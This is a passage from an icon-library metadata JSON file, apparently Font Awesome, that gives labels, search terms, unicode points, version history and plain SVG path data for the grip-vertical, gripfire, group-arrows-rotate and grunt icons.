        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64zm128 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64z"
      }
    },
    "free": ["solid"]
  },
  "grip-vertical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f58e"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f58e",
    "label": "Grip Vertical",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M40 352l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zm192 0l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 320c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 192l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 160c-22.1 0-40-17.9-40-40L0 72C0 49.9 17.9 32 40 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M40 352l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zm192 0l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 320c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 192l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 160c-22.1 0-40-17.9-40-40L0 72C0 49.9 17.9 32 40 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40z"
      }
    },
    "free": ["solid"]
  },
  "gripfire": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ac",
    "label": "Gripfire, Inc.",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"
      }
    },
    "free": ["brands"]
  },
  "group-arrows-rotate": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["community", "engagement", "spin", "sync"]
    },
    "styles": ["solid"],
    "unicode": "e4f6",
    "label": "Group Arrows Rotate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M201.1 71.9c16.9-5 26.6-22.9 21.5-39.8s-22.9-26.6-39.8-21.5c-21.5 6.4-41.8 15.5-60.6 27C114.3 34 105.4 32 96 32C60.7 32 32 60.7 32 96c0 9.4 2 18.3 5.6 26.3c-11.5 18.7-20.6 39-27 60.6c-5 16.9 4.6 34.8 21.5 39.8s34.8-4.6 39.8-21.5c4.3-14.6 10.4-28.5 17.9-41.4c2 .2 4.1 .3 6.1 .3c35.3 0 64-28.7 64-64c0-2.1-.1-4.1-.3-6.1c12.9-7.5 26.8-13.6 41.4-17.9zm128-61.3c-16.9-5-34.8 4.6-39.8 21.5s4.6 34.8 21.5 39.8c14.6 4.3 28.5 10.4 41.4 17.9c-.2 2-.3 4.1-.3 6.1c0 35.3 28.7 64 64 64c2.1 0 4.1-.1 6.2-.3c7.5 12.9 13.6 26.8 17.9 41.4c5 16.9 22.9 26.6 39.8 21.5s26.6-22.9 21.5-39.8c-6.4-21.5-15.5-41.8-27-60.6c3.6-8 5.6-16.9 5.6-26.3c0-35.3-28.7-64-64-64c-9.4 0-18.3 2-26.3 5.6c-18.7-11.5-39-20.6-60.6-27zM71.9 310.9c-5-16.9-22.9-26.6-39.8-21.5s-26.6 22.9-21.5 39.8c6.4 21.5 15.5 41.8 27 60.6C34 397.7 32 406.6 32 416c0 35.3 28.7 64 64 64c9.4 0 18.3-2 26.3-5.6c18.7 11.5 39 20.6 60.6 27c16.9 5 34.8-4.6 39.8-21.5s-4.6-34.8-21.5-39.8c-14.6-4.3-28.5-10.4-41.4-17.9c.2-2 .3-4.1 .3-6.2c0-35.3-28.7-64-64-64c-2.1 0-4.1 .1-6.2 .3c-7.5-12.9-13.6-26.8-17.9-41.4zm429.4 18.3c5-16.9-4.6-34.8-21.5-39.8s-34.8 4.6-39.8 21.5c-4.3 14.6-10.4 28.5-17.9 41.4c-2-.2-4.1-.3-6.2-.3c-35.3 0-64 28.7-64 64c0 2.1 .1 4.1 .3 6.2c-12.9 7.5-26.8 13.6-41.4 17.9c-16.9 5-26.6 22.9-21.5 39.8s22.9 26.6 39.8 21.5c21.5-6.4 41.8-15.5 60.6-27c8 3.6 16.9 5.6 26.3 5.6c35.3 0 64-28.7 64-64c0-9.4-2-18.3-5.6-26.3c11.5-18.7 20.6-39 27-60.6zM192.8 256.8c0-15.6 5.6-29.9 14.9-41.1L223 231c6.6 6.6 17.8 1.9 17.8-7.4V163.2c0-5.7-4.7-10.4-10.4-10.4H169.9c-9.3 0-13.9 11.2-7.4 17.8l11.2 11.2c-17.9 19.8-28.9 46.2-28.9 75.1c0 43.6 24.9 81.3 61.1 99.8c11.8 6 26.3 1.4 32.3-10.4s1.4-26.3-10.4-32.3c-20.8-10.6-34.9-32.2-34.9-57zm93.1-58.6c20.8 10.6 34.9 32.2 34.9 57c0 15.6-5.6 29.9-14.9 41.1L290.6 281c-6.6-6.6-17.8-1.9-17.8 7.4v60.5c0 5.7 4.7 10.4 10.4 10.4h60.5c9.3 0 13.9-11.2 7.4-17.8l-11.2-11.2c17.9-19.8 28.9-46.2 28.9-75.1c0-43.6-24.9-81.3-61.1-99.8c-11.8-6-26.3-1.4-32.3 10.4s-1.4 26.3 10.4 32.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M201.1 71.9c16.9-5 26.6-22.9 21.5-39.8s-22.9-26.6-39.8-21.5c-21.5 6.4-41.8 15.5-60.6 27C114.3 34 105.4 32 96 32C60.7 32 32 60.7 32 96c0 9.4 2 18.3 5.6 26.3c-11.5 18.7-20.6 39-27 60.6c-5 16.9 4.6 34.8 21.5 39.8s34.8-4.6 39.8-21.5c4.3-14.6 10.4-28.5 17.9-41.4c2 .2 4.1 .3 6.1 .3c35.3 0 64-28.7 64-64c0-2.1-.1-4.1-.3-6.1c12.9-7.5 26.8-13.6 41.4-17.9zm128-61.3c-16.9-5-34.8 4.6-39.8 21.5s4.6 34.8 21.5 39.8c14.6 4.3 28.5 10.4 41.4 17.9c-.2 2-.3 4.1-.3 6.1c0 35.3 28.7 64 64 64c2.1 0 4.1-.1 6.2-.3c7.5 12.9 13.6 26.8 17.9 41.4c5 16.9 22.9 26.6 39.8 21.5s26.6-22.9 21.5-39.8c-6.4-21.5-15.5-41.8-27-60.6c3.6-8 5.6-16.9 5.6-26.3c0-35.3-28.7-64-64-64c-9.4 0-18.3 2-26.3 5.6c-18.7-11.5-39-20.6-60.6-27zM71.9 310.9c-5-16.9-22.9-26.6-39.8-21.5s-26.6 22.9-21.5 39.8c6.4 21.5 15.5 41.8 27 60.6C34 397.7 32 406.6 32 416c0 35.3 28.7 64 64 64c9.4 0 18.3-2 26.3-5.6c18.7 11.5 39 20.6 60.6 27c16.9 5 34.8-4.6 39.8-21.5s-4.6-34.8-21.5-39.8c-14.6-4.3-28.5-10.4-41.4-17.9c.2-2 .3-4.1 .3-6.2c0-35.3-28.7-64-64-64c-2.1 0-4.1 .1-6.2 .3c-7.5-12.9-13.6-26.8-17.9-41.4zm429.4 18.3c5-16.9-4.6-34.8-21.5-39.8s-34.8 4.6-39.8 21.5c-4.3 14.6-10.4 28.5-17.9 41.4c-2-.2-4.1-.3-6.2-.3c-35.3 0-64 28.7-64 64c0 2.1 .1 4.1 .3 6.2c-12.9 7.5-26.8 13.6-41.4 17.9c-16.9 5-26.6 22.9-21.5 39.8s22.9 26.6 39.8 21.5c21.5-6.4 41.8-15.5 60.6-27c8 3.6 16.9 5.6 26.3 5.6c35.3 0 64-28.7 64-64c0-9.4-2-18.3-5.6-26.3c11.5-18.7 20.6-39 27-60.6zM192.8 256.8c0-15.6 5.6-29.9 14.9-41.1L223 231c6.6 6.6 17.8 1.9 17.8-7.4V163.2c0-5.7-4.7-10.4-10.4-10.4H169.9c-9.3 0-13.9 11.2-7.4 17.8l11.2 11.2c-17.9 19.8-28.9 46.2-28.9 75.1c0 43.6 24.9 81.3 61.1 99.8c11.8 6 26.3 1.4 32.3-10.4s1.4-26.3-10.4-32.3c-20.8-10.6-34.9-32.2-34.9-57zm93.1-58.6c20.8 10.6 34.9 32.2 34.9 57c0 15.6-5.6 29.9-14.9 41.1L290.6 281c-6.6-6.6-17.8-1.9-17.8 7.4v60.5c0 5.7 4.7 10.4 10.4 10.4h60.5c9.3 0 13.9-11.2 7.4-17.8l-11.2-11.2c17.9-19.8 28.9-46.2 28.9-75.1c0-43.6-24.9-81.3-61.1-99.8c-11.8-6-26.3-1.4-32.3 10.4s-1.4 26.3 10.4 32.3z"
      }
    },
    "free": ["solid"]
  },
  "grunt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ad",
    "label": "Grunt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 